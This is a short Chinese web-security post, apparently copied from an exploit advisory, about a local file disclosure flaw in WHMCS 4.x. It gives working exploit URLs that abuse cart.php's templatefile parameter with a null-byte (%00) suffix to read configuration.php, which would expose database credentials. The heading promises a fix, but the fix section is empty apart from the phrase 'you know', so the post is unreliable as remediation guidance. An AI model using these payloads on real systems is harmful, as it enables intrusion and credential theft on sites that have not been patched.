WHMCS (cart.php) 本地文件泄露缺陷及修复 - 网站安全

 

作者: R-t33n

产品: WHMCS

开发者: http://whmcs.com/

影响版本: 4.x.x

缺陷类型: Remote , webapps

测试平台windows 2003 , Linux , ubuntu.

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

http://www.2cto.com / [ PATH ] /cart.php?a=[wrong value]&templatefile=[File]%00

 

http://www.2cto.com / [ PATH ] /cart.php?a=alb0zz&templatefile=configuration.php%00

 

see into the [ html ] source code for the file disclosure.

 

www.2cto.com 修复：

你懂得

查看更多关于WHMCS (cart.php) 本地文件泄露缺陷及修复 - 网站安全的详细内容...